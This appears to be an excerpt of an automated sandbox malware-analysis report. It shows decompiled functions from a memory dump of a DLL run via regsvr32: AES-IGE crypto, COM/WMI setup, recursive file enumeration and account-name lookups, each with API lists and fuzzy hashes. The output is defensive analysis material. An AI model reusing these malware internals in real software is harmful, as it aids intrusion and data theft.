0x00000000
0x1001c743
0x1001c746
0x1001c756
0x1001c756
0x1001c68c
0x1001c68f
0x1001c6eb
0x1001c6a5
0x1001c6a5
0x1001c6ab
0x1001c6b1
0x1001c762
0x1001c766
0x1001c768
0x1001c76e
0x00000000
0x00000000
0x1001c774
0x1001c77b
0x1001c79d
0x1001c7a3
0x1001c7cf
0x1001c7d3
0x1001c7d5
0x1001c7d7
0x1001c7d7
0x1001c7d7
0x1001c7db
0x1001c7db
0x1001c7a5
0x1001c7ab
0x1001c7ad
0x1001c7b1
0x1001c7b3
0x1001c7b5
0x1001c7b5
0x1001c7b5
0x1001c7b7
0x1001c7bb
0x1001c7c1
0x1001c7c3
0x1001c7c5
0x1001c7c5
0x1001c7c5
0x1001c7c9
0x1001c7c9
0x1001c7c1
0x1001c7b1
0x1001c77d
0x1001c77f
0x1001c783
0x1001c785
0x1001c787
0x1001c787
0x1001c787
0x1001c78b
0x1001c78b
0x1001c783
0x1001c7dd
0x1001c7df
0x1001c7df
0x1001c7df
0x1001c7e1
0x1001c7e5
0x00000000
0x1001c7e5
0x1001c6bb
0x1001c6bd
0x1001c6c2
0x1001c6ca
0x1001c6cd
0x1001c6d0
0x1001c6d6
0x1001c6d6
0x1001c6d6
0x1001c6d8
0x1001c6dc
0x00000000
0x1001c6f3
0x1001c6f3
0x1001c6f6
0x1001c6f8
0x1001c6fb
0x1001c6fe
0x1001c701
0x1001c704
0x1001c707
0x1001c707
0x1001c707
0x1001c709
0x1001c612
0x1001c616
0x00000000
0x00000000
0x00000000
0x1001c616
0x1001c6eb
0x1001c691
0x1001c694
0x1001c697
0x1001c69a
0x1001c6a3
0x00000000
0x1001c6a3
0x1001c60e
0x1001c611
0x00000000
0x1001c61c
0x1001c61c
0x00000000
0x1001c622

Strings

invalid literal/length code, xrefs: 1001C80A
ineI, xrefs: 1001C35F
ntel, xrefs: 1001C357
Genu, xrefs: 1001C34F
invalid distance too far back, xrefs: 1001C81A
invalid distance code, xrefs: 1001C7EE

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: Genu$ineI$invalid distance code$invalid distance too far back$invalid literal/length code$ntel
API String ID: 0-3089872807
Opcode ID: 7885657e41a780fa0bd098377275c4252d3de6510247ec811e3c7f313611f7f6
Instruction ID: 5f43af1e3860e3199ff35e21360eda3c91ab05e931e719ffb9dcc385240d436d
Opcode Fuzzy Hash: 7885657e41a780fa0bd098377275c4252d3de6510247ec811e3c7f313611f7f6
Instruction Fuzzy Hash: 95124832A0834A8FD714DE38C490A1ABBE1FB88384F55862DE895DBB41D771ED84DB81

Uniqueness

Uniqueness Score: -1.00%

Function 10012420, Relevance: 7.9, Strings: 6, Instructions: 447
COMMONCrypto

Download Yara Rule

C-Code - Quality: 38%

			E10012420(signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int _a20, intOrPtr _a24) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v44;
				char _v60;
				void* _v76;
				void* _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				char _v124;
				char _v140;
				void* _v156;
				void* _v172;
				void* _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				unsigned int _t287;
				signed int _t294;
				signed int _t316;
				signed int _t340;
				signed int _t341;
				signed int _t385;
				signed int _t387;
				signed int _t396;
				signed int _t405;
				void* _t471;
				void* _t472;

				_t287 = _a12;
				_v12 = _t287;
				if(_a12 != 0) {
					if(_a4 == 0 || _a8 == 0 || _a16 == 0 || _a20 == 0) {
						E1000659B("assertion failed: in && out && key && ivec", "Benign\\openssl\\aes_ige.cpp", 0x34);
						_t472 = _t472 + 0xc;
						_v192 = 1;
					} else {
						_v192 = _v192 & 0x00000000;
					}
					if(_a24 == 1 || _a24 == 0) {
						_v196 = _v196 & 0x00000000;
					} else {
						E1000659B("assertion failed: (AES_ENCRYPT == enc) || (AES_DECRYPT == enc)", "Benign\\openssl\\aes_ige.cpp", 0x35);
						_t472 = _t472 + 0xc;
						_v196 = 1;
					}
					_t387 = 0x10;
					if(_a12 % _t387 != 0) {
						E1000659B("assertion failed: (length % AES_BLOCK_SIZE) == 0", "Benign\\openssl\\aes_ige.cpp", 0x36);
						_t472 = _t472 + 0xc;
						_v200 = 1;
					} else {
						_v200 = _v200 & 0x00000000;
					}
					_v12 = _a12 >> 4;
					if(_a24 != 1) {
						_t294 = _a4;
						if(_t294 == _a8) {
							L59:
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							while(_v12 != 0) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_v8 = _v8 & 0x00000000;
								while(_v8 < 4) {
									 *(_t471 + _v8 * 4 - 0x88) =  *(_t471 + _v8 * 4 - 0x88) ^  *(_t471 + _v8 * 4 - 0xa8);
									_v8 = _v8 + 1;
								}
								E10011EBA( &_v140,  &_v140, _a16);
								_t472 = _t472 + 0xc;
								_v8 = _v8 & 0x00000000;
								while(_v8 < 4) {
									 *(_t471 + _v8 * 4 - 0x88) =  *(_t471 + _v8 * 4 - 0x88) ^  *(_t471 + _v8 * 4 - 0xb8);
									_v8 = _v8 + 1;
								}
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_v12 = _v12 - 1;
								_a4 = _a4 + 0x10;
								_t294 = _a8 + 0x10;
								_a8 = _t294;
							}
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							return _t294;
						}
						if(0 != 0) {
							L47:
							_v100 = _a20;
							_t316 = _a20 + 0x10;
							_v96 = _t316;
							while(_v12 != 0) {
								_v104 = _a4;
								_v108 = _a8;
								_v8 = _v8 & 0x00000000;
								while(_v8 < 4) {
									 *(_t471 + _v8 * 4 - 0x78) =  *(_v104 + _v8 * 4) ^  *(_v96 + _v8 * 4);
									_v8 = _v8 + 1;
								}
								E10011EBA( &_v124, _v108, _a16);
								_t472 = _t472 + 0xc;
								_v8 = _v8 & 0x00000000;
								while(_v8 < 4) {
									 *(_v108 + _v8 * 4) =  *(_v108 + _v8 * 4) ^  *(_v100 + _v8 * 4);
									_v8 = _v8 + 1;
								}
								_v100 = _v104;
								_v96 = _v108;
								_v12 = _v12 - 1;
								_a4 = _a4 + 0x10;
								_t316 = _a8 + 0x10;
								_a8 = _t316;
							}
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							return _t316;
						}
						_t340 = _a4 | _a8 | _a20;
						_t396 = 4;
						_t294 = _t340 / _t396;
						if(_t340 % _t396 != 0) {
							goto L59;
						}
						goto L47;
					} else {
						_t341 = _a4;
						if(_t341 == _a8) {
							L31:
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							while(_v12 != 0) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_v8 = _v8 & 0x00000000;
								while(_v8 < 4) {
									 *(_t471 + _v8 * 4 - 0x38) =  *(_t471 + _v8 * 4 - 0x28) ^  *(_t471 + _v8 * 4 - 0x58);
									_v8 = _v8 + 1;
								}
								E10011968( &_v60,  &_v60, _a16);
								_t472 = _t472 + 0xc;
								_v8 = _v8 & 0x00000000;
								while(_v8 < 4) {
									 *(_t471 + _v8 * 4 - 0x38) =  *(_t471 + _v8 * 4 - 0x38) ^  *(_t471 + _v8 * 4 - 0x48);
									_v8 = _v8 + 1;
								}
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_v12 = _v12 - 1;
								_a4 = _a4 + 0x10;
								_t341 = _a8 + 0x10;
								_a8 = _t341;
							}
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							L43:
							return _t341;
						}
						if(0 != 0) {
							L19:
							_v20 = _a20;
							_t341 = _a20 + 0x10;
							_v16 = _t341;
							while(_v12 != 0) {
								_v24 = _a4;
								_v28 = _a8;
								_v8 = _v8 & 0x00000000;
								while(_v8 < 4) {
									 *(_v28 + _v8 * 4) =  *(_v24 + _v8 * 4) ^  *(_v20 + _v8 * 4);
									_v8 = _v8 + 1;
								}
								E10011968(_v28, _v28, _a16);
								_t472 = _t472 + 0xc;
								_v8 = _v8 & 0x00000000;
								while(_v8 < 4) {
									 *(_v28 + _v8 * 4) =  *(_v28 + _v8 * 4) ^  *(_v16 + _v8 * 4);
									_v8 = _v8 + 1;
								}
								_v20 = _v28;
								_v16 = _v24;
								_v12 = _v12 - 1;
								_a4 = _a4 + 0x10;
								_t341 = _a8 + 0x10;
								_a8 = _t341;
							}
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							asm("movsd");
							goto L43;
						}
						_t385 = _a4 | _a8 | _a20;
						_t405 = 4;
						_t341 = _t385 / _t405;
						if(_t385 % _t405 != 0) {
							goto L31;
						}
						goto L19;
					}
				}
				return _t287;
			}

0x1001242b
0x1001242e
0x10012435
0x10012440
0x10012469
0x1001246e
0x10012471
0x10012454
0x10012454
0x10012454
0x1001247f
0x100124a7
0x10012487
0x10012493
0x10012498
0x1001249b
0x1001249b
0x100124b5
0x100124ba
0x100124d1
0x100124d6
0x100124d9
0x100124bc
0x100124bc
0x100124bc
0x100124e9
0x100124f0
0x100126e4
0x100126ea
0x100127e7
0x100127f0
0x100127f1
0x100127f2
0x100127f3
0x10012800
0x10012801
0x10012802
0x10012803
0x10012804
0x10012817
0x10012818
0x10012819
0x1001281a
0x10012827
0x10012828
0x10012829
0x1001282a
0x1001282b
0x10012838
0x10012855
0x10012835
0x10012835
0x1001286f
0x10012874
0x10012877
0x10012884
0x100128a1
0x10012881
0x10012881
0x100128b3
0x100128b4
0x100128b5
0x100128b6
0x100128c3
0x100128c4
0x100128c5
0x100128c6
0x100128d3
0x100128d4
0x100128d5
0x100128d6
0x100128db
0x100128e4
0x100128ea
0x100128ed
0x100128ed
0x100128fe
0x100128ff
0x10012900
0x10012901
0x1001290e
0x1001290f
0x10012910
0x10012911
0x00000000
0x10012911
0x100126f2
0x1001270c
0x1001270f
0x10012715
0x10012718
0x1001271b
0x10012728
0x1001272e
0x10012731
0x1001273e
0x10012759
0x1001273b
0x1001273b
0x10012769
0x1001276e
0x10012771
0x1001277e
0x1001279c
0x1001277b
0x1001277b
0x100127a4
0x100127aa
0x100127b1
0x100127ba
0x100127c0
0x100127c3
0x100127c3
0x100127d1
0x100127d2
0x100127d3
0x100127d4
0x100127de
0x100127df
0x100127e0
0x100127e1
0x00000000
0x100127e1
0x100126fa
0x10012701
0x10012702
0x10012706
0x00000000
0x00000000
0x00000000
0x100124f6
0x100124f6
0x100124fc
0x100125fa
0x10012600
0x10012601
0x10012602
0x10012603
0x1001260d
0x1001260e
0x1001260f
0x10012610
0x10012611
0x10012621
0x10012622
0x10012623
0x10012624
0x10012625
0x10012632
0x10012649
0x1001262f
0x1001262f
0x1001265a
0x1001265f
0x10012662
0x1001266f
0x10012686
0x1001266c
0x1001266c
0x10012692
0x10012693
0x10012694
0x10012695
0x1001269c
0x1001269d
0x1001269e
0x1001269f
0x100126a6
0x100126a7
0x100126a8
0x100126a9
0x100126ae
0x100126b7
0x100126bd
0x100126c0
0x100126c0
0x100126ce
0x100126cf
0x100126d0
0x100126d1
0x100126db
0x100126dc
0x100126dd
0x100126de
0x00000000
0x00000000
0x100126de
0x10012504
0x1001251e
0x10012521
0x10012527
0x1001252a
0x1001252d
0x1001253a
0x10012540
0x10012543
0x10012550
0x1001256e
0x1001254d
0x1001254d
0x1001257c
0x10012581
0x10012584
0x10012591
0x100125af
0x1001258e
0x1001258e
0x100125b7
0x100125bd
0x100125c4
0x100125cd
0x100125d3
0x100125d6
0x100125d6
0x100125e4
0x100125e5
0x100125e6
0x100125e7
0x100125f1
0x100125f2
0x100125f3
0x100125f4
0x00000000
0x100125f4
0x1001250c
0x10012513
0x10012514
0x10012518
0x00000000
0x00000000
0x00000000
0x10012518
0x100124f0
0x00000000

Strings

assertion failed: (AES_ENCRYPT == enc) || (AES_DECRYPT == enc), xrefs: 1001248E
assertion failed: (length % AES_BLOCK_SIZE) == 0, xrefs: 100124CC
assertion failed: in && out && key && ivec, xrefs: 10012464
Benign\openssl\aes_ige.cpp, xrefs: 1001245F
Benign\openssl\aes_ige.cpp, xrefs: 100124C7
Benign\openssl\aes_ige.cpp, xrefs: 10012489

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: Benign\openssl\aes_ige.cpp$Benign\openssl\aes_ige.cpp$Benign\openssl\aes_ige.cpp$assertion failed: (AES_ENCRYPT == enc) || (AES_DECRYPT == enc)$assertion failed: (length % AES_BLOCK_SIZE) == 0$assertion failed: in && out && key && ivec
API String ID: 0-4167852033
Opcode ID: e9243a8e866b829fe7e744dcc848a720633a6730b4e8a082a86bbd3ce57d9b0e
Instruction ID: 75868539e2d39b885d8c0620bf241042c5fed8be9b39efbfa4c055c05ca7570b
Opcode Fuzzy Hash: e9243a8e866b829fe7e744dcc848a720633a6730b4e8a082a86bbd3ce57d9b0e
Instruction Fuzzy Hash: 3202B1B5D00609EFDF11CF98C584A8EB7B2FF49354F218499EC09AB240D771AAA5DF80

Uniqueness

Uniqueness Score: -1.00%

Function 10009CB8, Relevance: 7.6, APIs: 5, Instructions: 86
commemoryCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E10009CB8(void* __ecx, void* __edi, intOrPtr _a4) {
				void* _v8;
				char _v12;
				char* _t16;
				intOrPtr* _t17;
				intOrPtr* _t18;
				intOrPtr* _t19;
				void* _t22;
				intOrPtr* _t26;
				void* _t34;

				_v8 = 0;
				_v12 = 0;
				__imp__CoInitializeEx(0, 0, _t34, __ecx, __ecx);
				__imp__CoInitializeSecurity(0, 0xffffffff, 0, 0, 0, 3, 0, 0, 0);
				_t16 =  &_v8;
				__imp__CoCreateInstance(0x10020354, 0, 1, 0x10020284, _t16);
				if(_t16 < 0) {
					L4:
					_t17 = _v12;
					if(_t17 != 0) {
						 *((intOrPtr*)( *_t17 + 8))(_t17);
					}
					_t18 = _v8;
					if(_t18 != 0) {
						 *((intOrPtr*)( *_t18 + 8))(_t18);
					}
					_t19 = 0;
				} else {
					__imp__#2(_a4, __edi);
					_t26 = _v8;
					_t22 =  *((intOrPtr*)( *_t26 + 0xc))(_t26, _t16, 0, 0, 0, 0, 0, 0,  &_v12);
					if(_t22 < 0) {
						goto L4;
					} else {
						__imp__CoSetProxyBlanket(_v12, 0xa, 0, 0, 3, 3, 0, 0);
						if(_t22 < 0) {
							goto L4;
						} else {
							_t19 = E10009568(8);
							if(_t19 != 0) {
								 *((intOrPtr*)(_t19 + 4)) = _v8;
								 *_t19 = _v12;
							} else {
								goto L4;
							}
						}
					}
				}
				return _t19;
			}

0x10009cc2
0x10009cc5
0x10009cc8
0x10009cd9
0x10009cdf
0x10009cf0
0x10009cf8
0x10009d40
0x10009d40
0x10009d45
0x10009d4a
0x10009d4a
0x10009d4d
0x10009d52
0x10009d57
0x10009d57
0x10009d5a
0x10009cfa
0x10009cfe
0x10009d04
0x10009d15
0x10009d1b
0x00000000
0x10009d1d
0x10009d2a
0x10009d32
0x00000000
0x10009d34
0x10009d36
0x10009d3e
0x10009d61
0x10009d67
0x00000000
0x00000000
0x00000000
0x10009d3e
0x10009d32
0x10009d1b
0x10009d6b

APIs

CoInitializeEx.OLE32(00000000,00000000,00000004,?,?,?,10009E5F,00000000,00000AB1,0000003F,00000004,00000000,?,?,?,?), ref: 10009CC8
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,10009E5F,00000000,00000AB1,0000003F), ref: 10009CD9
CoCreateInstance.OLE32(10020354,00000000,00000001,10020284,00000000,?,?,?,10009E5F,00000000,00000AB1,0000003F,00000004,00000000,?,?), ref: 10009CF0
SysAllocString.OLEAUT32(00000004), ref: 10009CFE
CoSetProxyBlanket.OLE32(00000004,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,?,10009E5F,00000000,00000AB1,0000003F,00000004,00000000), ref: 10009D2A

Part of subcall function 10009568: RtlAllocateHeap.NTDLL(00000008,?,?,1000AC93,00000100,?,10002E84), ref: 10009576

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Initialize$AllocAllocateBlanketCreateHeapInstanceProxySecurityString
String ID:
API String ID: 1610782348-0
Opcode ID: fafae17ab77e91f83c495473ed8ab4929c6bd85d58fece522e2639aae3cb0daa
Instruction ID: cbca175736e455d8144a20f6ebd1b69999d487b3c164274d7582294297411514
Opcode Fuzzy Hash: fafae17ab77e91f83c495473ed8ab4929c6bd85d58fece522e2639aae3cb0daa
Instruction Fuzzy Hash: 2F213B70641225BBEB21CB52CC4CEDF7F6DEF46BA4F104149F509AA195C7719A41CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000BB22, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 131
fileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E1000BB22(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed char _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				void* _v12;
				char _v16;
				WCHAR* _v20;
				intOrPtr _v568;
				short _v570;
				struct _WIN32_FIND_DATAW _v616;
				WCHAR* _t56;
				void* _t57;
				signed int _t61;
				intOrPtr _t64;
				intOrPtr _t66;
				char _t69;
				intOrPtr _t73;
				intOrPtr _t76;
				void* _t79;
				intOrPtr _t80;
				signed char _t82;
				intOrPtr _t88;
				signed int _t89;
				void* _t90;
				void* _t91;

				_t89 = 0;
				_push(0);
				_push(L"\\*");
				_t56 = E1000ABBC(_a4);
				_t91 = _t90 + 0xc;
				_v20 = _t56;
				if(_t56 == 0) {
					return _t56;
				}
				_t57 = FindFirstFileW(_t56,  &_v616);
				_v12 = _t57;
				if(_t57 == 0xffffffff) {
					L28:
					return E100094F4( &_v20, 0xfffffffe);
				} else {
					_t82 = _a16;
					_t88 = _a8;
					do {
						if(_a28 == _t89) {
							L5:
							if(_v616.cFileName != 0x2e || _v570 != _t89 && (_v570 != 0x2e || _v568 != _t89)) {
								_t61 = _v616.dwFileAttributes & 0x00000010;
								if(_t61 == 0 || (_t82 & 0x00000002) == 0) {
									if(_t61 != _t89 || (_t82 & 0x00000004) == 0) {
										goto L20;
									} else {
										goto L13;
									}
								} else {
									L13:
									if(_a12 <= 0) {
										L19:
										_t89 = 0;
										L20:
										if((_v616.dwFileAttributes & 0x00000010) != 0 && (_t82 & 0x00000001) != 0) {
											_push(_t89);
											_push( &(_v616.cFileName));
											_push("\\");
											_t69 = E1000ABBC(_a4);
											_t91 = _t91 + 0x10;
											_v16 = _t69;
											if(_t69 != _t89) {
												if(_a32 != _t89) {
													_t73 =  *0x1002b760; // 0x121f8b0
													 *((intOrPtr*)(_t73 + 0xb4))(_a32);
												}
												E1000BB22(_v16, _t88, _a12, _t82, _a20, _a24, _a28, _a32, _a36);
												_t91 = _t91 + 0x24;
												E100094F4( &_v16, 0xfffffffe);
											}
										}
										goto L26;
									} else {
										goto L14;
									}
									do {
										L14:
										_push( *((intOrPtr*)(_t88 + _t89 * 4)));
										_push( &(_v616.cFileName));
										_t76 =  *0x1002b744; // 0x121fb18
										if( *((intOrPtr*)(_t76 + 0x18))() == 0) {
											goto L18;
										}
										_t79 = _a20(_a4,  &_v616, _a24);
										_t91 = _t91 + 0xc;
										if(_t79 == 0) {
											goto L19;
										} else {
											if(_a36 != 0) {
												_t80 =  *0x1002b760; // 0x121f8b0
												 *((intOrPtr*)(_t80 + 0xb4))(_a36);
											}
										}
										L18:
										_t89 = _t89 + 1;
									} while (_t89 < _a12);
									goto L19;
								}
							} else {
								goto L26;
							}
						}
						_t64 =  *0x1002b760; // 0x121f8b0
						_push(_t89);
						_push(_a28);
						if( *((intOrPtr*)(_t64 + 0x2c))() != 0x102) {
							break;
						}
						goto L5;
						L26:
					} while (FindNextFileW(_v12,  &_v616) != 0);
					_t66 =  *0x1002b760; // 0x121f8b0
					 *((intOrPtr*)(_t66 + 0x78))(_v12);
					goto L28;
				}
			}

0x1000bb2e
0x1000bb30
0x1000bb31
0x1000bb39
0x1000bb3e
0x1000bb41
0x1000bb46
0x1000bcbe
0x1000bcbe
0x1000bb54
0x1000bb5a
0x1000bb60
0x1000bcad
0x00000000
0x1000bb66
0x1000bb66
0x1000bb69
0x1000bb6c
0x1000bb6f
0x1000bb88
0x1000bb90
0x1000bbbc
0x1000bbbf
0x1000bbc8
0x00000000
0x00000000
0x00000000
0x00000000
0x1000bbcf
0x1000bbcf
0x1000bbd3
0x1000bc1c
0x1000bc1c
0x1000bc1e
0x1000bc25
0x1000bc2c
0x1000bc33
0x1000bc34
0x1000bc3c
0x1000bc41
0x1000bc44
0x1000bc49
0x1000bc4e
0x1000bc53
0x1000bc58
0x1000bc58
0x1000bc75
0x1000bc7a
0x1000bc83
0x1000bc89
0x1000bc49
0x00000000
0x00000000
0x00000000
0x00000000
0x1000bbd5
0x1000bbd5
0x1000bbd5
0x1000bbde
0x1000bbdf
0x1000bbe9
0x00000000
0x00000000
0x1000bbf8
0x1000bbfb
0x1000bc00
0x00000000
0x1000bc02
0x1000bc06
0x1000bc0b
0x1000bc10
0x1000bc10
0x1000bc06
0x1000bc16
0x1000bc16
0x1000bc17
0x00000000
0x1000bbd5
0x00000000
0x00000000
0x00000000
0x1000bb90
0x1000bb71
0x1000bb76
0x1000bb77
0x1000bb82
0x00000000
0x00000000
0x00000000
0x1000bc8a
0x1000bc9a
0x1000bca5
0x1000bcaa
0x00000000
0x1000bcaa

APIs

Part of subcall function 1000ABBC: lstrcatW.KERNEL32(00000000,00000000), ref: 1000ABFC

FindFirstFileW.KERNEL32(00000000,?,10012D6D,1002B824,00000000), ref: 1000BB54
FindNextFileW.KERNEL32(00000001,00000010), ref: 1000BC94

Strings

., xrefs: 1000BB88
., xrefs: 1000BB9F

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: FileFind$FirstNextlstrcat
String ID: .$.
API String ID: 4165875925-3769392785
Opcode ID: 94a03526c9eff0880eaa0fce0f9adf729b33b39814de83775f83d4dcd3d0f62e
Instruction ID: 632ecd548b3d5dd2b8938363cf4abd4c090334bbeb677f054c481df24cf8e8b6
Opcode Fuzzy Hash: 94a03526c9eff0880eaa0fce0f9adf729b33b39814de83775f83d4dcd3d0f62e
Instruction Fuzzy Hash: DE416831800629AFFF11DF50CD89EDE3BB9EB043D4F1006A1F815A20AADB719E91CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1001354E, Relevance: 3.1, APIs: 2, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1001354E(void* __edx, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v12;
				void* _v16;
				long _v20;
				long _v24;
				void* _v28;
				union _SID_NAME_USE _v32;
				void* _v36;
				short _v548;
				intOrPtr _t47;
				signed int _t48;
				intOrPtr _t49;
				intOrPtr _t69;
				void* _t73;
				void* _t79;
				void* _t84;
				void* _t86;

				_t86 = __fp0;
				_t79 = __edx;
				_t47 =  *0x1002b778; // 0x121fa58
				_v16 = 0;
				_v36 = 0;
				_v28 = 0;
				_t48 =  *((intOrPtr*)(_t47 + 4))(_a4, 0, 2,  &_v12, 0xffffffff,  &_v16,  &_v36,  &_v28);
				if(_t48 == 0) {
					_v8 = 0;
					if(_v16 <= 0) {
						L9:
						_t49 =  *0x1002b778; // 0x121fa58
						 *((intOrPtr*)(_t49 + 0xc))(_v12);
						return 0;
					}
					do {
						_v20 = 0;
						_v24 = 0;
						LookupAccountNameW(0,  *(_v12 + _v8 * 4), 0,  &_v20, 0,  &_v24,  &_v32);
						_t73 = E10009568(_v20 + 1);
						if(_t73 != 0) {
							_v24 = 0x200;
							if(LookupAccountNameW(0,  *(_v12 + _v8 * 4), _t73,  &_v20,  &_v548,  &_v24,  &_v32) != 0) {
								E10008222(_v8, _t79, _t86,  *(_v12 + _v8 * 4), _t73, _a8);
								_t69 =  *0x1002b760; // 0x121f8b0
								_t84 = _t84 + 0xc;
								 *((intOrPtr*)(_t69 + 0xb4))(0xa);
							}
						}
						_v8 = _v8 + 1;
					} while (_v8 < _v16);
					goto L9;
				}
				return _t48 | 0xffffffff;
			}

0x1001354e
0x1001354e
0x1001356a
0x10013577
0x1001357a
0x1001357d
0x10013580
0x10013585
0x1001358f
0x10013595
0x10013632
0x10013635
0x1001363a
0x00000000
0x1001363d
0x100135a3
0x100135b7
0x100135ba
0x100135c1
0x100135cd
0x100135d2
0x100135ee
0x100135fd
0x1001360c
0x10013611
0x10013616
0x1001361b
0x1001361b
0x100135fd
0x10013621
0x10013627
0x00000000
0x10013631
0x00000000

APIs

LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 100135C1
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,?,?,?), ref: 100135F9

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: AccountLookupName
String ID:
API String ID: 1484870144-0
Opcode ID: 7c263806c1a27aa87e1c4a9470efa720d9c4fd2a05abb12374c7f6643ee9b0b1
Instruction ID: 2047acf86f1730baa3ce1693cd7ec05e7b0bd939e632287338c94af5daf9a9db
Opcode Fuzzy Hash: 7c263806c1a27aa87e1c4a9470efa720d9c4fd2a05abb12374c7f6643ee9b0b1
Instruction Fuzzy Hash: A331DCB2A00129AFDB01DFD4CC84DEEBBBDFF08750F11815AE915E6251DA30AA45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000B036, Relevance: 3.0, APIs: 2, Instructions: 22
timeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E1000B036(void* __ecx, intOrPtr __edx, intOrPtr* __esi) {
				struct _FILETIME _v12;
				intOrPtr _t7;
				intOrPtr _t11;

				_t11 = __edx;
				GetSystemTimeAsFileTime( &_v12);
				asm("sbb eax, 0x19db1de");
				_t7 = E1001EF30(_v12.dwLowDateTime - 0xd53e8000, _v12.dwHighDateTime, 0x989680, 0);
				if(__esi != 0) {
					 *__esi = _t7;
					 *((intOrPtr*)(__esi + 4)) = _t11;
					return _t7;
				}
				return _t7;
			}

0x1000b036
0x1000b03f
0x1000b058
0x1000b05f
0x1000b066
0x1000b068
0x1000b06a
0x00000000
0x1000b06a
0x1000b06e

APIs

GetSystemTimeAsFileTime.KERNEL32(10004011,?,?,?,10004011,00000000), ref: 1000B03F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000B05F

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

